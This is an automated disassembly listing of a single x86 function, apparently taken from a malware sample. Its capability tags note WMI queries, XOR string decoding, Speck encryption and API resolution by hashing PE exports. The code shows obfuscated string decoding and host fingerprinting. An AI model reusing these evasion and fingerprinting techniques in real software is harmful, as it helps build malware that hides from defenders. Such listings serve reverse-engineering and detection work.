Function at 0x438c10
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov edi, dword [ebp + 8]
mov eax, dword [0x44cf38]
mov dword [esp + 0x14], 0x89278b77
mov dword [esp + 0x18], 0x850b870f
mov dword [esp + 0x1c], 0x81398308
mov dword [esp + 0x20], 0x9d429f33
mov dword [esp + 0x24], 0x992d9b12
mov dword [esp + 0x28], 0x952d9712
mov dword [esp + 0x2c], 0x9192936f
mov byte [esp + 0x30], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 6
mov ebx, edx
xor ebx, 0xbcc4d863
add ebx, esi
mov esi, ebx
and esi, 0xc3
or esi, 0x20
and ebx, 0x3c
xor ebx, esi
xor bl, byte [esp + edx + 0x14]
xor bl, 0x20
add bl, 0x11
mov byte [esp + edx + 0x14], bl
inc edx
add ecx, 2
cmp edx, 0x1d
jne 0x438c70
lea ecx, [esp + 0x4c]
lea esi, [esp + 0x78]
lea ebx, [esp + 0x14]
push ecx
push 8
push esi
push 0xd
push ebx
push 0
call eax
test eax, eax
jns 0x438cc9
mov dword [esp + 0x78], 0x3a0043
mov dword [esp + 0x7c], 0x5c
mov dword [esp + 0x58], 0xbbe5c075
mov dword [esp + 0x54], 0x530fd9d8
mov dword [esp + 0x50], 0xa969839f
mov dword [esp + 0x4c], 0x7419af8e
mov dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0x443668
push 1
push 0
push 0x443678
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x43920f
mov dword [esp + 0x14], 0x834d8152
mov dword [esp + 0x18], 0x8752854b
mov dword [esp + 0x1c], 0x8b498954
mov dword [esp + 0x20], 0x8f438d45
mov dword [esp + 0x24], 0x93609146
mov word [esp + 0x28], 0x9594
mov dword [esp + 0x2a], 0
mov byte [esp + 0x2e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
or cl, 0x60
xor cl, byte [esp + eax + 0x14]
add cl, 0x20
mov byte [esp + eax + 0x14], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x1b
jb 0x438d60
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x90], esi
push esi
push eax
call dword [ecx + 0xc]
test eax, eax
lea esi, [esp + 0x78]
js 0x4391fb
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x28]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x4391f1
mov dword [esp + 0x14], 0x3383319f
mov dword [esp + 0x18], 0x2f2e2d98
mov eax, 0x41bd073
mov ecx, ebx
nop
movzx esi, byte [ecx]
mov edx, eax
or edx, esi
lea ebx, [eax - 0x41bd000]
and ebx, esi
not edx
or edx, ebx
mov esi, edx
xor esi, 0xeb74edbd
and edx, 0x148b1242
add edx, edx
sub edx, esi
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
mov byte [ecx], dl
inc ecx
dec eax
cmp eax, 0x41bd06b
jne 0x438df0
lea esi, [esp + 0x14]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov dword [esp + 0x14], 0x430741f3
mov dword [esp + 0x18], 0x47034508
mov dword [esp + 0x1c], 0x4bfe490b
mov dword [esp + 0x20], 0x4f244d2c
mov dword [esp + 0x24], 0xb3f4b1d0
mov dword [esp + 0x28], 0xb7f9b506
mov dword [esp + 0x2c], 0xbbdab9f5
mov dword [esp + 0x30], 0xbf17bd0b
mov dword [esp + 0x34], 0xa3f1a10e
mov dword [esp + 0x38], 0xa719a5f6
mov dword [esp + 0x3c], 0xabe3a9ea
mov dword [esp + 0x40], 0xaf1dade3
mov word [esp + 0x44], 0x9190
mov dword [esp + 0x46], 0
mov byte [esp + 0x4a], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0x70
xor cl, byte [esp + eax + 0x14]
add cl, 0xd0
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x37
jne 0x438eb0
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0xc]
mov ecx, dword [esi]
lea edx, [esp + 0x68]
push edx
push 0
push 0x30
mov dword [esp + 0x78], eax
push eax
mov dword [esp + 0x80], ebx
push ebx
push esi
call dword [ecx + 0x50]
test eax, eax
lea ebx, [esp + 0x14]
js 0x4391db
mov dword [esp + 0x60], 0
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
lea edx, [esp + 0x60]
lea ebx, [esp + 0x64]
push edx
push ebx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4391cd
cmp eax, 1
je 0x4391cd
cmp dword [esp + 0x60], 0
je 0x4391cd
lea esi, [esp + 0x88]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x64]
mov dword [esp + 0x14], 0xe307e133
mov dword [esp + 0x18], 0xe71fe516
mov dword [esp + 0x1c], 0xfb06f919
mov dword [esp + 0x20], 0xff0bfd22
mov dword [esp + 0x24], 0xf310f10d
mov dword [esp + 0x28], 0xf704f511
mov dword [esp + 0x2c], 0x8988
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xa8
xor dl, byte [esp + ecx + 0x14]
add dl, 0xb8
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 0x1c
jne 0x438f90
mov ecx, dword [eax]
push 0
push 0
push esi
push 0
lea edx, [esp + 0x24]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4391bc
cmp word [esp + 0x88], 8
jne 0x4391bc
mov eax, dword [esp + 0x90]
movzx ecx, word [eax]
test cx, cx
je 0x43901d
mov ebx, eax
add eax, 2
xor esi, esi
jmp 0x438ffc
inc esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x439021
cmp cx, 0x7f
jbe 0x438ff0
movzx edx, cx
cmp edx, 0x7ff
ja 0x439012
add esi, 2
jmp 0x438ff1
cmp cx, 0xffff
je 0x438ff1
add esi, 3
jmp 0x438ff1
mov ebx, eax
xor esi, esi
lea eax, [esi + 1]
push eax
call fcn.00408590
add esp, 4
mov ecx, esi
mov dword [esp + 4], eax
mov esi, eax
mov dword [esp + 0x5c], ecx
test ecx, ecx
je 0x439174
mov ecx, ebx
movzx eax, word [ebx]
mov esi, dword [esp + 4]
test ax, ax
je 0x439174
mov edx, dword [esp + 0x5c]
mov esi, dword [esp + 4]
nop
nop
nop
nop
nop
movzx ebx, ax
lea eax, [ecx + 2]
cmp bx, 0x7f
ja 0x439080
lea ecx, [esi + 1]
mov byte [esi], bl
jmp 0x439120
cmp ebx, 0x7ff
ja 0x4390a5
cmp edx, 2
jb 0x4390a5
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov byte [esi], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [esi + 2]
mov byte [esi + 1], bl
jmp 0x439120
mov dword [esp + 8], ecx
mov ecx, ebx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x43913a
cmp edx, 4
jb 0x43913a
mov ecx, dword [esp + 8]
movzx eax, word [ecx + 2]
add ecx, 4
mov dword [esp + 8], ecx
shl ebx, 0xa
lea ecx, [ebx + eax]
add ecx, 0xfca02400
mov ebx, ecx
shr ebx, 0x12
add bl, 0xf0
mov byte [esi], bl
mov ebx, ecx
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [esi + 1], bl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [esi + 2], cl
mov ecx, eax
xor ecx, 0xc0
or eax, 0x3f
and eax, ecx
add al, 0x80
lea ecx, [esi + 4]
mov byte [esi + 3], al
mov eax, dword [esp + 8]
nop
nop
nop
nop
nop
nop
add edx, esi
sub edx, ecx
mov esi, ecx
mov ecx, eax
movzx eax, word [eax]
test ax, ax
je 0x439174
test edx, edx
jne 0x439060
jmp 0x439174
movzx ecx, cx
cmp ecx, 0xdc00
je 0x439126
cmp edx, 3
jb 0x439170
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [esi], cl
mov ecx, ebx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [esi + 1], cl
and bl, 0x3f
or bl, 0x80
mov byte [esi + 2], bl
lea ecx, [esi + 3]
jmp 0x439120
mov ecx, esi
jmp 0x439120
mov byte [esi], 0
mov edx, dword [esp + 4]
mov eax, dword [edx]
mov dword [esp + 0x4c], eax
mov ecx, dword [esp + 0x5c]
and ecx, 0xfffffffc
cmp ecx, 4
je 0x4391ac
mov eax, dword [edx + 4]
mov dword [esp + 0x50], eax
cmp ecx, 8
je 0x4391ac
mov eax, dword [edx + 8]
mov dword [esp + 0x54], eax
cmp ecx, 0xc
je 0x4391ac
mov eax, dword [edx + 0xc]
mov dword [esp + 0x58], eax
push edx
call fcn.004085a0
add esp, 4
lea esi, [esp + 0x88]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ebx, [esp + 0x14]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x70]
call esi
push dword [esp + 0x6c]
call esi
lea esi, [esp + 0x78]
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x74]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xbeb8f1a1
push dword [0x44cf30]
call fcn.0043f910
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call eax
test eax, eax
je 0x43923e
mov eax, dword [esp + 0x14]
mov dword [esp + 0x4c], eax
xor esi, esi
jmp 0x43925d
inc esi
add edi, 8
cmp esi, 4
je 0x4392f2
mov eax, 0
test esi, esi
je 0x43927d
cmp dword [esp + esi*4 + 0x4c], 0
mov eax, esi
jne 0x43927d
mov eax, esi
and eax, 2
mov ecx, esi
not ecx
and ecx, 1
sub eax, ecx
imul eax, dword [esp + eax*4 + 0x4c], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + esi*4 + 0x4c], eax
push 0x10
push 9
push edi
push eax
call fcn.0041eb60
add esp, 0x10
mov ecx, eax
neg ecx
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec ecx
cmp byte [edx], 0
lea edx, [edx + 1]
jne 0x4392b0
mov ebx, ecx
not ebx
and ecx, eax
mov edx, eax
not edx
and edx, ebx
sub edx, ecx
mov ecx, edx
xor ecx, 8
not edx
add edx, edx
and edx, 0x10
mov ebx, edx
sub ebx, ecx
je 0x439250
sub ecx, edx
add eax, ecx
push ebx
push 0x30
push eax
call fcn.00408720
add esp, 0xc
jmp 0x439250
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret